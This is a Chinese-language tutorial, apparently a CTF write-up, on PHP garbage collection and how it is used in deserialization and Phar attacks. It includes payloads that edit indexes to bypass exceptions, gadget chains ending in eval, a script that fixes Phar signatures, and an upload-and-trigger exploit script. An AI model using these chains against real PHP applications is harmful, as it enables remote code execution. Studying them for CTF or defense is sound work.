浅析PHP GC垃圾回收机制及常见利用方式
字数 988 2025-08-26 22:11:45
PHP GC垃圾回收机制及常见利用方式
一、GC概述
1. 什么是GC
GC(Garbage collection)即垃圾回收机制,是PHP中自动管理内存对象的机制。当一个变量被设置为NULL,或者没有任何指针指向时,它就会被GC机制自动回收。
2. PHP中的GC实现
PHP使用引用计数和回收周期来自动管理内存对象。当对象没有被引用时,就会被GC机制回收,在回收过程中会自动触发__destruct方法。
二、引用计数机制
1. zval变量容器
PHP创建变量时会被存储在zval变量容器中,包含:
- 变量的类型和值
is_ref(bool):标识变量是否属于引用集合refcount:表示指向zval变量容器的变量个数
2. 引用计数示例
$a = "new string";
xdebug_debug_zval('a');
输出显示refcount=1,is_ref=false
添加引用后:
$a = "new string";
$b = &$a;
xdebug_debug_zval('a');
输出显示refcount=2,is_ref=true
3. 容器销毁规则
变量容器在refcount变成0时被销毁。当函数执行结束或调用unset()时,refcount减1。
三、GC在PHP反序列化中的利用
1. 绕过异常抛出的原理
通过构造数组并将第二个索引置空,可以提前触发GC回收机制,从而绕过后续的异常抛出。
2. 示例代码
class test{
public $num;
public function __destruct(){
echo $this->num."__destruct()"."</br>";
}
}
$a = new test(1);
unset($a); // 直接触发__destruct
3. 反序列化绕过异常
class B {
function __destruct() {
global $flag;
echo $flag;
}
}
// 正常序列化
$a = array(new B,0);
echo serialize($a); // a:2:{i:0;O:1:"B":0:{}i:1;i:0;}
// 修改为触发GC
$a = array(new B,0);
echo serialize($a); // a:2:{i:0;O:1:"B":0:{}i:0;i:0;}
四、GC在Phar反序列化中的利用
1. 基本利用方法
class Test{
public $code;
public function __destruct(){
eval($this->code);
}
}
// 生成Phar文件
$c = array(new test(),0);
$b = new Phar('1.phar',0);
$b->startBuffering();
$b->setMetadata($c);
$b->setStub("<?php __HALT_COMPILER();?>");
$b->addFromString("test.txt","test");
$b->stopBuffering();
2. 修改Phar文件签名
- 将Phar文件中的
i:1修改为i:0 - 使用Python脚本修复签名:
import gzip
from hashlib import sha1
with open('1.phar', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s + sha1(s).digest() + h
open("2.phar","wb").write(newf)
3. 触发Phar反序列化
$filename = "phar://2.phar";
file_get_contents($filename);
五、CTF实战案例
案例1:简单反序列化利用
class cg0{
public $num;
public function __destruct(){
echo $this->num."hello __destruct";
}
}
class cg1{
public $string;
public function __toString() {
$this->string->flag();
}
}
class cg2{
public $cmd;
public function flag(){
eval($this->cmd);
}
}
// 构造payload
$a = new cg0();
$a->num = new cg1();
$a->num->string = new cg2();
$a->num->string->cmd = "phpinfo();";
$b = array($a,0);
echo serialize($b);
// 修改i:1为i:0触发GC
案例2:卷王杯easy unserialize
class one {
public $year_parm = array("Happy_func");
public $object;
// ...其他方法...
}
class second {
public $filename;
// ...其他方法...
}
class third {
private $string;
// ...其他方法...
}
// 构造复杂链
$a = new one();
$a->object = new second();
$a->object->filename = new one();
$a->object->filename->object = new third(array("string"=>[new one(),"MeMeMe"]));
$b = array($a,NULL);
echo urlencode(serialize($b));
案例3:[NSSCTF]prize_p1
- 构造Phar文件
- 使用gzip压缩绕过关键词检测
- 通过file_put_contents上传
- 使用file_get_contents触发
完整利用脚本:
import requests
import gzip
# 生成压缩Phar文件
file = open("ph2.phar", "rb")
file_out = gzip.open("phar.zip", "wb+")
file_out.writelines(file)
file_out.close()
file.close()
# 上传
requests.post(
url,
params={0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'},
data={0: open('phar.zip', 'rb').read()}
)
# 触发
res = requests.post(
url,
params={0: 'O:1:"A":1:{s:6:"config";s:1:"r";}'},
data={0: 'phar://tmp/a.txt'}
)
六、关键点总结
- GC触发条件:对象无引用时自动触发
__destruct - 绕过异常:通过数组和索引置空技巧
- Phar利用:需注意文件签名和压缩绕过
- 防御措施:
- 避免敏感操作放在
__destruct - 严格过滤反序列化输入
- 禁用危险函数如
unserialize
- 避免敏感操作放在
七、参考资源
- PHP引用计数机制详解
- Phar反序列化利用技巧
- CTF中GC机制的高级利用方式